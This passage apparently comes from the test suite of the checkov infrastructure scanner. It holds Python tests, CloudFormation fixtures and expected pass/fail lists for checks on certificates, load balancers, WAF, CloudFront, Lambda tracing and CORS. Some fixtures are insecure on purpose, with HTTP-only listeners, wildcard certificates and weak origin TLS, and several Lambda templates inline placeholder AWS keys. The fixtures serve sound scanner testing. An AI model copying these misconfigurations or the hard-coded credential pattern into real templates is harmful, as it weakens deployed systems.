    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry as registry\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ArmCheck(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Cloudformation test\"\n        id = \"CKV_T_1\"\n        supported_resources = ['AWS::ElasticLoadBalancing*::Listener', 'AWS::ElasticLoadBalancingV2*T*']\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        return CheckResult.PASSED\n\n\nclass TestWildcardEntities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        check = ArmCheck()\n\n        test_files_dir = current_dir + \"/example_WildcardEntities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        registry.wildcard_checks['AWS::ElasticLoadBalancing*::Listener'].remove(check)\n        registry.wildcard_checks['AWS::ElasticLoadBalancingV2*T*'].remove(check)\n\n        # Only for resource and nof for data \"aws_iam_policy_document\"\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/file_formats/json_with_space/test_json_with_space.json",
    "content": "{\r\n  \"AWSTemplateFormatVersion\" : \"2010-09-09\",\r\n  \"Resources\": {\r\n    \"MySourceQueue\": {\r\n      \"Type\": \"AWS::SQS::Queue\",\r\n      \"Properties\": {\r\n        \"KmsMasterKeyId\": \"kms_id\"\r\n      }\r\n    }\r\n  }\r\n}"
  },
  {
    "path": "tests/cloudformation/file_formats/json_with_tabs/test_json_with_tabs.json",
    "content": "{\r\n\t\"AWSTemplateFormatVersion\" : \"2010-09-09\",\r\n\t\"Resources\": {\r\n\t\t\"MySourceQueue\": {\r\n\t\t\t\"Type\": \"AWS::SQS::Queue\",\r\n\t\t\t\"Properties\": {\r\n\t\t\t\t\"KmsMasterKeyId\": \"kms_id\"\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}"
  },
  {
    "path": "tests/cloudformation/file_formats/test_json_with_space.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.runner import Runner\n\n\nclass TestJsonFileFormat(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/json_with_space\"\n        report = runner.run(root_folder=test_files_dir)\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/file_formats/test_json_with_tabs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.runner import Runner\n\n\nclass TestJsonFileFormat(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/json_with_tabs\"\n        report = runner.run(root_folder=test_files_dir)\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/file_formats/test_yaml.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.runner import Runner\n\n\nclass TestYamlFileFormat(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/yaml\"\n        report = runner.run(root_folder=test_files_dir)\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/file_formats/yaml/test_yaml.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      KmsMasterKeyId: \"kms_id\""
  },
  {
    "path": "tests/cloudformation/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/graph/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/ACMWildcardDomainName/expected.yaml",
    "content": "pass:\n  - \"AWS::CertificateManager::Certificate.ExamplePassCertificate\"\n  - \"AWS::CertificateManager::Certificate.ExamplePass2Certificate\"\nfail:\n  - \"AWS::CertificateManager::Certificate.ExampleFailCertificate\"\n  - \"AWS::CertificateManager::Certificate.ExampleFailBadSubjectCertificate\"\n  - \"AWS::CertificateManager::Certificate.ExampleFailBadDomainCertificate\"\nevaluated_keys:\n  - \"DomainName\"\n  - \"SubjectAlternativeNames\"\n  - \"SubjectAlternativeNames/*\"\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/ACMWildcardDomainName/template.yaml",
    "content": "Resources:\n  ExamplePassCertificate:\n    Type: \"AWS::CertificateManager::Certificate\"\n    Properties:\n      DomainName: \"www.example.com\"\n      ValidationMethod: \"DNS\"\n      DomainValidationOptions:\n        - DomainName: \"www.example.com\"\n          ValidationDomain: \"example.com\"\n\n  ExamplePass2Certificate:\n    Type: \"AWS::CertificateManager::Certificate\"\n    Properties:\n      DomainName: \"example.com\"\n      ValidationMethod: \"DNS\"\n      SubjectAlternativeNames:\n        - \"www.example.com\"\n        - \"blog.example.com\"\n        - \"shop.example.com\"\n\n  ExampleFailCertificate:\n    Type: \"AWS::CertificateManager::Certificate\"\n    Properties:\n      DomainName: \"*.example.com\"\n      ValidationMethod: \"DNS\"\n      DomainValidationOptions:\n        - DomainName: \"*.example.com\"\n          ValidationDomain: \"example.com\"\n\n  ExampleFailBadSubjectCertificate:\n    Type: \"AWS::CertificateManager::Certificate\"\n    Properties:\n      DomainName: \"example.com\"\n      ValidationMethod: \"DNS\"\n      SubjectAlternativeNames:\n        - \"*.sub.example.com\"\n        - \"www.example.com\"\n        - \"api.example.com\"\n\n  ExampleFailBadDomainCertificate:\n    Type: \"AWS::CertificateManager::Certificate\"\n    Properties:\n      DomainName: \"*example.com\"\n      ValidationMethod: \"DNS\"\n      SubjectAlternativeNames:\n        - \"sub.example.com\"\n        - \"www.example.com\"\n        - \"api.example.com\"\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/ALBRedirectHTTPtoHTTPS/expected.yaml",
    "content": "pass:\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED1'\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED2'\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED3'\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED4'\nfail:\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerFAILED1'\n  - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerFAILED2'\nevaluated_keys:\n  - 'resource_type'\n  - 'DefaultActions/RedirectConfig/Protocol'\n  - 'Port'\n  - 'DefaultActions/RedirectConfig/Port'\n  - 'DefaultActions/Type'\n  - 'Protocol'"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/ALBRedirectHTTPtoHTTPS/template.yaml",
    "content": "Description: >\n  This template deploys an Application Load Balancer with HTTPS listener only\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\nResources:\n\n  LoadBalancerPASSED1:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest1\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  LoadBalancerPASSED2:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest2\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  LoadBalancerPASSED3:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest3\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  LoadBalancerPASSED4:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest4\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  LoadBalancerFAILED1:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest5\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  LoadBalancerFAILED2:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest6\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - sg-0123456789abcdefc\n\n  ListenerHTTPSPASSED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerPASSED1\n      Port: 443\n      Protocol: HTTPS\n      Certificates:\n        - CertificateArn: test\n      SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: targetGroup\n\n  ListenerHTTPPASSED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerPASSED2\n      Port: 80\n      Protocol: HTTP\n      DefaultActions:\n        - Type: \"redirect\"\n          RedirectConfig:\n           Protocol: \"HTTPS\"\n           Port: \"443\"\n           Host: \"#{host}\"\n           Path: \"/#{path}\"\n           Query: \"#{query}\"\n           StatusCode: \"HTTP_301\"\n\n  ListenerTCPPASSED3:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerPASSED3\n      Port: 53\n      Protocol: TCP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: targetGroup\n\n  ListenerUDPPASSED4:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerPASSED4\n      Port: 53\n      Protocol: UDP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: targetGroup\n\n  ListenerHTTPFAILED1:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerFAILED1\n      Port: 80\n      Protocol: HTTP\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: targetGroup\n\n  ListenerHTTPFAILED2:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      LoadBalancerArn: !Ref LoadBalancerFAILED2\n      Port: 80\n      Protocol: \"HTTP\"\n      DefaultActions:\n        - Type: \"redirect\"\n          RedirectConfig:\n           Protocol: \"HTTP\"\n           Port: \"8080\"\n           Host: \"#{host}\"\n           Path: \"/#{path}\"\n           Query: \"#{query}\"\n           StatusCode: \"HTTP_301\""
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/AppSyncProtectedByWAF/expected.yaml",
    "content": "pass:\n  - \"AWS::AppSync::GraphQLApi.GoodAppSyncGraphQLApi\"\nfail: \n  - \"AWS::AppSync::GraphQLApi.NoWAFAppSyncGraphQLApi\"\nevaluated_keys:\n  - \"resource_type\""
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/AppSyncProtectedByWAF/template.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"AppSync-WAF-Enabled\"\nResources:\n    GoodAppSyncGraphQLApi:\n        Type: \"AWS::AppSync::GraphQLApi\"\n        Properties:\n            Name: \"My Checkov Test App\"\n            AuthenticationType: \"API_KEY\"\n            XrayEnabled: false\n    GoodWAFv2WebACL:\n        Type: \"AWS::WAFv2::WebACL\"\n        Properties:\n            Name: \"Checkov-ACL\"\n            Description: \"Checkov-ACL\"\n            DefaultAction: \n                Block: {}\n            VisibilityConfig: \n                SampledRequestsEnabled: true\n                CloudWatchMetricsEnabled: true\n                MetricName: \"Checkov-ACL\"\n            Scope: \"REGIONAL\"\n    WebACLAssociation:\n      Type: AWS::WAFv2::WebACLAssociation\n      Properties:\n        ResourceArn: !GetAtt GoodAppSyncGraphQLApi.Arn\n        WebACLArn: !GetAtt GoodWAFv2WebACL.Arn\n    NoWAFAppSyncGraphQLApi:\n        Type: \"AWS::AppSync::GraphQLApi\"\n        Properties:\n            Name: \"My Checkov Test App with no WAF\"\n            AuthenticationType: \"API_KEY\"\n            XrayEnabled: false"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/expected.yaml",
    "content": "pass:\n  - \"AWS::CloudFront::Distribution.ExamplePassDisabledDistribution\"\n  - \"AWS::CloudFront::Distribution.ExamplePassNoCustomOriginDistribution\"\n  - \"AWS::CloudFront::Distribution.ExamplePassHttpsOnlyDistribution\"\n  - \"AWS::CloudFront::Distribution.ExamplePassDomainDistribution\"\nfail:\n  - \"AWS::CloudFront::Distribution.ExampleFailDistribution\"\n  - \"AWS::CloudFront::Distribution.ExampleFailOneGoodOneBadDistribution\"\n  - \"AWS::CloudFront::Distribution.ExampleFailOneMissingOneBadDistribution\"\nevaluated_keys:\n  - \"DistributionConfig/Enabled\"\n  - \"DistributionConfig/Origins[?(@/CustomOriginConfig/OriginProtocolPolicy != 'https-only')]/DomainName\"\n  - \"DistributionConfig/Origins/*/CustomOriginConfig\""
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/template.yaml",
    "content": "Resources:\n  # Pass: enabled=false\n  ExamplePassDisabledDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: false  # disabled\n        Origins:\n          - DomainName: \"example.data.mediastore.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Pass: enabled=true; no custom_origin_config\n  ExamplePassNoCustomOriginDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.data.mediastore.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example\"\n            # No CustomOriginConfig\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Pass: enabled=true; custom_origin_config->origin_protocol_policy=https-only\n  ExamplePassHttpsOnlyDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.data.mediastore.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"https-only\"  # HTTPS only\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Pass: enabled=true; custom_origin_config->origin_protocol_policy=match-viewer; domain_name does not contain dangerous domains\n  ExamplePassDomainDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.com\"  # safe domain\n            Id: \"custom-origin-example\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; domain_name contains \"mediastore\"\n  ExampleFailDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.data.mediastore.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Fail: enabled=true; one good origin, one bad origin\n  ExampleFailOneGoodOneBadDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.com\"  # safe domain\n            Id: \"custom-origin-example-good\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"https-only\"  # HTTPS only\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n          - DomainName: \"example.data.mediastore.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example-bad\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example-bad\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n\n  # Fail: enabled=true; one origin without custom_origin_config, one bad origin\n  ExampleFailOneMissingOneBadDistribution:\n    Type: \"AWS::CloudFront::Distribution\"\n    Properties:\n      DistributionConfig:\n        Enabled: true  # enabled\n        Origins:\n          - DomainName: \"example.com\"  # safe domain\n            Id: \"custom-origin-example-good\"\n            # no CustomOriginConfig\n          - DomainName: \"example.elb.amazonaws.com\"  # contains dangerous domain name\n            Id: \"custom-origin-example-bad\"\n            CustomOriginConfig:\n              OriginProtocolPolicy: \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n              HTTPPort: 80\n              HTTPSPort: 443\n              OriginSSLProtocols:\n                - \"TLSv1\"\n                - \"TLSv1.1\"\n                - \"TLSv1.2\"\n        DefaultCacheBehavior:\n          TargetOriginId: \"custom-origin-example-bad\"\n          ViewerProtocolPolicy: \"redirect-to-https\"\n          AllowedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          CachedMethods:\n            - \"GET\"\n            - \"HEAD\"\n          ForwardedValues:\n            QueryString: false\n            Cookies:\n              Forward: \"none\"\n          MinTTL: 0\n          DefaultTTL: 3600\n          MaxTTL: 86400\n        Restrictions:\n          GeoRestriction:\n            RestrictionType: \"none\"\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: true\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/LambdaFunction/expected.yaml",
    "content": "pass:\n  - \"AWS::Lambda::Function.GoodLambdaFunction\"\n  - \"AWS::Serverless::Function.ServerlessFunctionEnabled\"\n  - \"AWS::Lambda::Function.GoodLambdaFunctionWithRef\"\nfail:\n  - \"AWS::Lambda::Function.WrongTracingConfigValueLambdaFunction\"\n  - \"AWS::Lambda::Function.WrongTracingConfigValueLambdaFunctionWithRef\"\n  - \"AWS::Lambda::Function.WithoutTracingConfigLambdaFunction\"\n  - \"AWS::Serverless::Function.ServerlessFunctionDefault\"\nevaluated_keys:\n  - \"Tracing_config/Mode\"\n  - \"Tracing\"\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/LambdaFunction/template.yaml",
    "content": "Description: X-ray tracing is enabled for Lambda.\nParameters:\n  ActiveTracingConfig:\n    Description: Active tracing config\n    Type: String\n    Default: \"Active\"\n  WrongValueTracingConfig:\n    Description: Active tracing config\n    Type: String\n    Default: \"Wrong Value\"\nResources:\n  GoodLambdaFunction:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n          secret_key: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n      Tracing_config:\n        Mode: \"Active\"\n  GoodLambdaFunctionWithRef:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n          secret_key: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n      Tracing_config:\n        Mode: !Ref ActiveTracingConfig\n  WrongTracingConfigValueLambdaFunction:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n          secret_key: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n      Tracing_config:\n        Mode: \"Wrong value\"\n  WrongTracingConfigValueLambdaFunctionWithRef:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n          secret_key: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n      Tracing_config:\n        Mode: !Ref WrongValueTracingConfig\n  WithoutTracingConfigLambdaFunction:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Environment:\n        Variables:\n          access_key: \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n          secret_key: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n\n# SAM\n  ServerlessFunctionEnabled:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: index.handler\n      Runtime: python3.6\n      InlineCode: |\n        def handler(event, context):\n            print(\"Hello, world!\")\n      Tracing: Active\n  ServerlessFunctionDefault:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: index.handler\n      Runtime: python3.6\n      InlineCode: |\n        def handler(event, context):\n            print(\"Hello, world!\")\n"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/LambdaOpenCorsPolicy/expected.yaml",
    "content": "pass:\n  - \"AWS::Lambda::Function.ValidLambdaFunction\"\n  - \"AWS::Lambda::Function.ValidLambdaFunctionWithoutUrl\"\n  - \"AWS::Lambda::Function.ValidLambdaFunctionNoCorsDefinition\"\n  - \"AWS::Lambda::Function.ValidLambdaFunctionOnlyOriginsStar\"\n  - \"AWS::Lambda::Function.ValidLambdaFunctionOnlyMethodsStar\"\nfail:\n  - \"AWS::Lambda::Function.InvalidLambdaFunction\"\nevaluated_keys:\n  - Cors/AllowMethods\n  - Cors/AllowOrigins\n  - resource_type"
  },
  {
    "path": "tests/cloudformation/graph/checks/resources/LambdaOpenCorsPolicy/template.yaml",
